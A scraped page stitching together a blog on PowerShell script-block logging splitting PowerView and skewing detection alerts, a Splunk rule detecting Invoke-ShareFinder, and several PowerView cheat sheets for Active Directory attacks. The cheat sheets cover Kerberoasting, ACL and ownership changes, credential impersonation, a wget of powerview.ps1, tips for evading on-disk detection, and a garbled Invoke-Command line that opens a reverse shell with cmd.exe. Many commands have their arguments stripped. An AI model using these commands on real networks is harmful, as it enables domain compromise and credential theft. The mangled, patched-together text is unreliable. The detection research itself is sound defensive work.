Introduction⌗
I know this is a lot, but bear with me as I tell you the whole story. If you are only interested in the juicy part, you can skip to ‘The case of split “PowerVi/ew”’.
MD ASLAM PRANG
MD ASLAM PRANG
Information Technology Assistant at Desh Link Lock Industries Limited
PowerView tools PowerShell Script.
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Description
- Type: TTP
Product: Splunk Enterprise, Splunk Enterprise Security, Splunk Cloud
- Last Updated: 2024-05-18
- Author: Mauricio Velazco, Splunk
- ID: a44c0be1-d7ab-41e4-92fd-aa9af4fe232c
Annotations
ATT&CK
ATT&CK
| ID | Technique | Tactic |
|---|---|---|
| T1135 | Network Share Discovery | Discovery |
Kill Chain Phase
- Exploitation
NIST
- DE.CM
CIS20
- CIS 10
CVE
Search
1
2
3
4
5
`powershell` EventCode=4104 (ScriptBlockText=Invoke-ShareFinder*)
| stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
| `windows_file_share_discovery_with_powerview_filter`
Macros
Required fields
List of fields required to use this analytic.
- _time
- EventCode
- ScriptBlockText
- Opcode
- Computer
- UserID
How To Implement
Known False Positives
Associated Analytic Story
RBA
| Risk Score | Impact | Confidence | Message |
|---|---|---|---|
| 48.0 | 60 | 80 | Invoke-ShareFinder commandlet was executed on $Computer$ |
Reference
Test Dataset
Replay any dataset to Splunk Enterprise by using our replay.py tool or the UI.
Alternatively you can replay a dataset into a Splunk Attack Range
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The most up-to-date version of PowerView will always be in the dev branch of PowerSploit: https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
SharpView is a .NET port of PowerView
#Basic domain info
#Get all domain trusts (parent, children and external)
#Find interesting ACLs
# Domain Info
#Get info about the current domain
#Get info about the current domain
#Get domain SID
#Get info about the policy
#Kerberos tickets info(MaxServiceAge)
#Check your privileges
# Same as Get-DomainPolicy
# Domain Controller
#Get all ifo of specific domain Domain Controller
# Get Forest info
## Get-DomainGroup is similar to Get-NetGroup
#Get groups of an specific domain
#Get restricted groups
# Get all domain maes of computers
## Get-DomainComputer is kind of the same as Get-NetComputer
#Get all computer objects
#Send a ping to check if the computers are working
#DCs always appear but aren't useful for privesc
#Find computers with Constrined Delegation
## Get-DomainOU is kind of the same as Get-NetOU
#Get Organization Units
Logon and Sessions
#Get active sessions on the host
Group Policy Object – GPOs
#Get all policies with details
#Get the policy applied in a computer
#Get current policy
# Get who can create new GPOs
# COnvert GPO GUID to name
# Transform SID to name
# Get GPO of an OU
# Returns all GPOs that modify local group memberships through Restricted Groups or Group Policy Preferences.
Learn how to exploit permissions over GPOs and ACLs in:
Abusing Active Directory ACLs/ACEs
#Get ACLs of an object (permissions of other objects over the indicated one)
#Other way to get ACLs of an object
#Get permissions of a file
#Find intresting ACEs (Interesting permisions of "unexpected objects" (RID>1000 and modify permissions) over other objects
#Get all domain trusts (parent, children and external)
#Enumerate also all the trusts
# Get basic forest info
#Get info of current forest (no external)
#Get info about the external forest (if possible)
Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust)
#Get groups with privileges in other domains inside the forest# for all the targeted machines on the current (or specified) domain.
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
'isDeleted -eq $true'SID to Name
Use different credentials (argument)
# use an alterate creadential for any function
# if running in -sta mode, impersonate another credential a la "runas /netonly"
# Set the owner of 'dfm' in the current domain to 'harmj0y'
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PowerView is a PowerShell script to perform common Active Directory enumeration and exploitation tasks. This article lists some common PowerView enumeration commands.
You can obtain a copy of PowerView here; https://github.com/ZeroDayLab/PowerSploit/blob/master/Recon/PowerView.ps1.
There is also a .NET port of PowerView, called SharpView in case usage of PowerShell isn’t an option. This can be downloaded here; https://github.com/tevora-threat/SharpView
ADModule
In addition to PowerView commands, I’ve also listed the equivalent commands using Microsoft.ActiveDirectory.Management.dll.
The benefit of this approach over PowerView is we’re using a Microsoft signed executable, which reduces our chance of getting detected on disk. Unfortunately, the DLL can’t perform all the tasks that PowerView can.
A copy of this DLL can be obtained here; https://github.com/samratashok/ADModule
Import-Module C:\AD\Tools\ADModule-master\Microsoft.ActiveDirectory.Management.dll Import-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1
PowerView Commands
Domain Information
| PowerView Command | ADModule | Purpose |
|---|---|---|
| Get-Domain | Get-ADDomain | Find the current domain |
| Get-DomainSID | (Get-ADDomain).DomainSID | Find the current domain’s SID |
| Get-DomainPolicyData | (Get-DomainPolicyData).systemaccess | Returns the default domain policy or the domain controller policy for the current domain |
| Get-DomainController | Get-ADDomainController | Find the current domain controllers |
| Get-DomainOU | Get-ADOrganizationalUnit -Filter * -Properties * | List organisational units in the domain |
Enumerating Users, Groups & Computers
| PowerView Command | ADModule | Purpose |
|---|---|---|
| Get-DomainUser | select samaccountname | Get-ADUser -Filter * -Properties * | List users in current domain |
| Get-DomainComputer | Get-ADComputer -Filter * | select Name | List computers in the domain |
| Get-DomainGroup | select Name | Get-ADGroup -Filter * | select Name | List groups in the domain |
| Get-DomainGroupMember -Identity “Domain Admins” -Recurse | Get-ADGroupMember -Identity “Domain Admins” -Recursive | Find members of the domain admin group |
| Get-NetLocalGroup -ComputerName Computer1 -ListGroups | List local groups on remote computer (requires admin privileges) |
Domain Trust Enumeration
| PowerView Command | ADModule | Purpose |
|---|---|---|
| Get-NetDomainTrust | Get-ADDomain | Get trusts for the current domain |
| Get-NetForest | Get-ADForest | List forest details |
| Get-NetForestDomain | List all domains in forest | |
| Get-NetForestTrust | Map forest trusts |
Share Enumeration
| PowerView Command | Purpose |
|---|---|
| Get-NetShare -ComputerName sqlserver | List shares on a machine |
| Invoke-ShareFinder | Search for shares on the network |
| Invoke-FileFinder | Search for files on the network |
| Get-NetFileServer | List file servers in the domain |
User Hunting
| PowerView Command | Purpose |
|---|---|
| Get-NetLoggedonLocal -ComputerName Computer1 | Find logged in users using the remote registry service (which is started by default on Windows server). Does not require admin privileges. |
| Invoke-UserHunter -CheckAccess | Check if domain administrators are logged into workstations |
GPO Enumeration
| PowerView Command | Purpose |
|---|---|
| Get-DomainGPO | List group policy objects in a domain |
| Get-DomainGPOLocalGroup | Returns all GPOs in a domain that modify local group memberships through ‘Restricted Groups’ or Group Policy preferences |
ACL Enumeration
| PowerView Command | Purpose |
|---|---|
| Get-DomainObjectAcl -SamAccountName test -ResolveGUIDs | Get an ACL for a specific object |
| Find-InterestingDomainAcl -ResolveGUIDs | Find interesting domain ACL’s |
Kerberos Delegation
| PowerView Command | Purpose |
|---|---|
| Get-DomainComputer -Unconstrained | Check for unconstrained delegation hosts |
| Get-DomainUser -TrustedToAuth | Check for constrained delegation hosts |
Automating PowerView ACL Enumeration
Function Invoke-ACLChecks {
Write-Host ("Checking for GenericALL ACL's")
Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq$("$env:UserDomain\$env:Username")) {$_}}
Write-Host ("Checking for WriteDACL's")
Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
Write-Host ("Checking for unconstrained delegation")
Get-DomainComputer -Unconstrained
Write-Host ("Checking for constrained delegation")
Get-DomainUser -TrustedToAuth
Write-Host ("Checks done")
}
Get-DomainGroup -MemberIdentity adunn name
Recursive Group Membership
Get-DomainGroupMember function will retrieve group-specific information. Adding the -Recurse switch tells PowerView that if it finds any groups that are part of the target group (nested group membership) to list out the members of those groups.
Check for users with the SPN attribute set, which indicates that the account may be subjected to a Kerberoasting attack.
Import-Module .owerView.ps1
ConvertTo-SecureString -AsPlainText -Force
New-Object System.Management.Automation.PSCredential ,
Invoke-Command -ComputerName :computername -Credential -ScriptBlock C:netpubwwrootc.exe -nd .168.45.5 -e cmd.exe
Commands
| Command | Description |
|---|---|
| Export-PowerViewCSV | Append results to a CSV file |
| ConvertTo-SID | Convert a User or group name to its SID value |
| Get-DomainSPNTicket | Requests the Kerberos ticket for a specified Service Principal Name (SPN) account |
| Domain/LDAP Functions | |
| Get-Domain | Will return the AD object for the current (or specified) domain |
| Get-DomainController | Return a list of the Domain Controllers for the specified domain |
| Get-DomainUser | Will return all users or specific user objects in AD |
| Get-DomainComputer | Will return all computers or specific computer objects in AD |
| Get-DomainGroup | Will return all groups or specific group objects in AD |
| Get-DomainOU | Search for all or specific OU objects in AD |
| Find-InterestingDomainAcl | Finds object ACLs in the domain with modification rights set to non-built in objects |
| Get-DomainGroupMember | Will return the members of a specific domain group |
| Get-DomainFileServer | Returns a list of servers likely functioning as file servers |
| Get-DomainDFSShare | Returns a list of all distributed file systems for the current (or specified) domain |
| GPO Functions | |
| Get-DomainGPO | Will return all GPOs or specific GPO objects in AD |
| Get-DomainPolicy | Returns the default domain policy or the domain controller policy for the current domain |
| Computer Enumeration Functions | |
| Get-NetLocalGroup | Enumerates local groups on the local or a remote machine |
| Get-NetLocalGroupMember | Enumerates members of a specific local group |
| Get-NetShare | Returns open shares on the local (or a remote) machine |
| Get-NetSession | Will return session information for the local (or a remote) machine |
| Test-AdminAccess | Tests if the current user has administrative access to the local (or a remote) machine |
| Threaded ‘Meta’-Functions | |
| Find-DomainUserLocation | Finds machines where specific users are logged in |
| Find-DomainShare | Finds reachable shares on domain machines |
| Find-InterestingDomainShareFile | Searches for files matching specific criteria on readable shares in the domain |
| Find-LocalAdminAccess | Find machines on the local domain where the current user has local administrator access |
| Domain Trust Functions | |
| Get-DomainTrust | Returns domain trusts for the current domain or a specified domain |
| Get-ForestTrust | Returns all forest trusts for the current forest or a specified forest |
| Get-DomainForeignUser | Enumerates users who are in groups outside of the user’s domain |
| Get-DomainForeignGroupMember | Enumerates groups with users outside of the group’s domain and returns each foreign member |
| Get-DomainTrustMapping | Will enumerate all trusts for the current domain and any others seen. |
Script location
new version
wget https://raw.githubusercontent.com/BC-SECURITY/Empire/main/empire/server/data/module_source/situational_awareness/network/powerview.ps1
old version
local on kali
from github fork
PowerView-3.0-tricks.ps1
# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c
# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
# New function naming schema:
# Verbs:
# Get : retrieve full raw data sets
# Find : ‘find’ specific data entries in a data set
# Add : add a new object to a destination
# Set : modify a given object
# Invoke : lazy catch-all
# Nouns:
# Verb-Domain* : indicates that LDAP/.NET querying methods are being executed
# Verb-WMI* : indicates that WMI is being used under the hood to execute enumeration
# Verb-Net* : indicates that Win32 API access is being used under the hood
Get-DomainGroup -MemberIdentity <User/Group>
# get all the effective members of a group, 'recursing down'
Get-DomainGroupMember -Identity -Recurse
# use an alterate creadential for any function
ConvertTo-SecureString -AsPlainText -Force
New-Object System.Management.Automation.PSCredential,
Get-DomainUser -Credential
# retrieve all the computer dns host names a GPP password applies to
Get-DomainOU -GPLink % Get-DomainComputer -SearchBase .distinguishedname -Properties dnshostname
Get-Date.AddYears-1.ToFileTime
Get-DomainUser -LDAPFilter -Properties samaccountname,pwdlastset
Get-DomainUser -LDAPFilter -Properties distinguishedname
Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE -Properties distinguishedname
Get-DomainUser -LDAPFilter
Get-DomainUser -UACFilter ACCOUNTDISABLE
Get-DomainUser -LDAPFilter
Get-DomainUser -UACFilter SMARTCARD_REQUIRED
Get-DomainUser -LDAPFilter -Properties samaccountname
Get-DomainUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname
# use multiple identity types for any *-Domain* function
, ,, Get-DomainUser -Properties samaccountname,lastlogoff
Get-DomainUser -SPN
Get-DomainUser -PreauthNotRequired
Get-DomainUser -UACFilter DONT_REQ_PREAUTH
Get-DomainUser -SPN ?.memberof -match
Get-DomainUser -LDAPFilter
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
Get-DomainComputer -Unconstrained
Get-DomainUser -AllowDelegation -AdminCount
# return the local *groups* of a remote server
Get-NetLocalGroup SERVER.domain.local
# return the local group *members* of a remote server using Win32 API methods (faster but less info)
Get-NetLocalGroupMember -Method API -ComputerName SERVER.domain.local
Invoke-Kerberoast -SearchBase
Find-DomainUserLocation -ComputerUnconstrained -ShowAll
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation
# find all computers in a given OU
Get-DomainComputer -SearchBase
Get-DomainOU -Identity *server* -Domain <domain> %Get-DomainComputer -SearchBase .distinguishedname -Properties dnshostname %Get-NetLoggedOn -ComputerName
# enumerate all gobal catalogs in the forest
Get-ForestGlobalCatalog
# turn a list of computer short names to FQDNs, using a global catalog
gc computers.txt % Get-DomainComputer -SearchBase -LDAP -Properties dnshostname
# enumerate the current domain controller policy
Get-DomainPolicy -Policy DC
.PrivilegeRights
# enumerate the current domain policy
Get-DomainPolicy -Policy Domain
.KerberosPolicy # useful for golden tickets ;)
.SystemAccess # password age/etc.
Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>
Get-DomainGPOUserLocalGroupMapping -Identity <USER> -Domain <DOMAIN> -LocalGroup RDP
# export a csv of all GPO mappings
Get-DomainGPOUserLocalGroupMapping %.computers .computers -join Export-CSV -NoTypeInformation gpo_map.csv
# use alternate credentials for searching for files on the domain
ConvertTo-SecureString -AsPlainText -Force
New-Object System.Management.Automation.PSCredential,
Find-InterestingDomainShareFile -Domain DOMAIN -Credential
Get-DomainObjectAcl -Identity matt -ResolveGUIDs -Domain testlab.local
Add-DomainObjectAcl -TargetIdentity matt -PrincipalIdentity will -Rights ResetPassword -Verbose
Get-DomainObjectAcl -SearchBase -ResolveGUIDs
Add-DomainObjectAcl -TargetIdentity -PrincipalIdentity matt -Rights All
Get-DomainObjectAcl -ResolveGUIDs ?
.ObjectType -match -or .ActiveDirectoryRights -match
# find linked DA accounts using name correlation
Get-DomainGroupMember %Get-DomainUser .membername -LDAPFilter %.displayname.split..1 -join Get-DomainUser -LDAPFilter -Properties displayname,samaccountname
# save a PowerView object to disk for later usage
Get-DomainUser Export-Clixml user.xml
Import-Clixml user.xml
# Find any machine accounts in privileged groups
Get-DomainGroup -AdminCount Get-DomainGroupMember -Recurse ?.MemberName -like
Get-DomainObjectAcl -LDAPFilter ? .SecurityIdentifier -match -and .ActiveDirectoryRights -match
# find all policies applied to a current machine
Get-DomainGPO -ComputerIdentity windows1.testlab.local
# enumerate all groups in a domain that don't have a global scope, returning just group names
Get-DomainGroup -GroupScope NotGlobal -Properties name
# query the global catalog for foreign security principals with domain-based SIDs, and extract out all distinguishednames
Get-DomainObject -Properties objectsid,distinguishedname -SearchBase -LDAPFilter ? .objectsid -match Select-Object -ExpandProperty distinguishedname
@
ForEach
.SubString.IndexOf -replace , -replace ,
# check if we've already enumerated this domain
-not
# enumerate all domain local groups from the given domain that have membership set with our foreignSecurityPrincipal set
+ -join +
Get-DomainGroup -Domain -Scope DomainLocal -LDAPFilter -Properties distinguishedname,member
fl
# if running in -sta mode, impersonate another credential a la "runas /netonly"
ConvertTo-SecureString -AsPlainText -Force
New-Object System.Management.Automation.PSCredential,
Invoke-UserImpersonation -Credential
Invoke-RevertToSelf
# enumerates computers in the current domain with 'outlier' properties, i.e. properties not set from the firest result returned by Get-DomainComputer
Get-DomainComputer -FindOne Find-DomainObjectPropertyOutlier
Set-DomainObject testuser -Set @ -Verbose
# Set the owner of 'dfm' in the current domain to 'harmj0y'
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
Get-ObjectACL -ResolveGUIDs ?
.ActiveDirectoryRights -match -or .ObjectAceType -match
-1Get-DomainUser -LDAPFilter -Properties samaccountname,memberof,userPassword % Add-Member -InputObject NoteProperty System.Text.Encoding::ASCII.GetString.userPassword -PassThru fl
More script blocks -> Less alerts??⌗
| Rule / Run#Blocks | 9#39 | 10#47 | 4#49 | 1#54 | 7#55 | 3#57 | 6#57 | 5#64 | 8#69 | 2#76 | AVG |
|---|---|---|---|---|---|---|---|---|---|---|---|
| Total | 79 | 91 | 94 | 103 | 99 | 106 | 107 | 110 | 119 | 126 | 103.4 |
| Execute Invoke-command on Remote Host | 5 | 6 | 6 | 6 | 6 | 7 | 6 [2] | 7 | 7 | 7 | 6.3 |
| Malicious PowerShell Commandlets – ScriptBlock | 35 | 42 | 43 | 49 | 46 | 51 | 51 | 53 | 58 | 61 | 48.9 |
| Malicious PowerShell Keywords | 3 | 2 | 2 | 2 | 2 | 2 | 3 | 2 | 3 | 2 | 2.3 |
| Manipulation of User Computer or Group Security Principals Across AD | 4 | 4 | 4 | 6 [3] | 4 | 4 | 4 | 4 | 4 | <5> | 4.3 |
| Potential In-Memory Execution Using Reflection.Assembly | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 |
| Potential Suspicious PowerShell Keywords | 1 [1] | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 1.9 |
| PowerView PowerShell Cmdlets – ScriptBlock | 27 | 30 | 32 | 34 | 35 | 35 | 36 | 38 | 40 | 45 | 35.2 |
| Request A Single Ticket via PowerShell | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | <2> +1 because of script block cut-off | 1 | 1.1 |
| Usage Of Web Request Commands And Cmdlets – ScriptBlock | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 |
First, let’s look at some results that were expected.
Okay, so these results are kind of expected and not too bad. So we should be fine, right?
The case of split “PowerVi/ew”⌗
Add-Member Noteproperty 'Comment' $Info.lgrpi1_comment\n
$LocalGroup.PSObject.TypeNames.Insert(0, 'PowerVi
ew.LocalGroup.API')\n
The Uncertainty of Script Block Logging⌗
| Run | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 |
|---|---|---|---|---|---|---|---|---|---|---|
| # Blocks | 54 | 76 | 57 | 49 | 64 | 57 | 55 | 69 | 39 | 47 |
More script blocks -> More alerts?⌗
| Blocks | 39 | 47 | 49 | 54 | 55 | 57 | 57 | 64 | 69 | 76 |
|---|---|---|---|---|---|---|---|---|---|---|
| Alarms | 79 | 91 | 94 | 103 | 99 | 106 | 107 | 110 | 119 | 126 |
| … raised on … blocks | 39 | 46 | 48 | 53 | 53 | 56 | 56 | 60 | 65 | 70 |
Conclusion⌗
Is there a remedy? Maybe re-combining script fragments (like this) to run detection mechanisms on the reconstructed scripts?
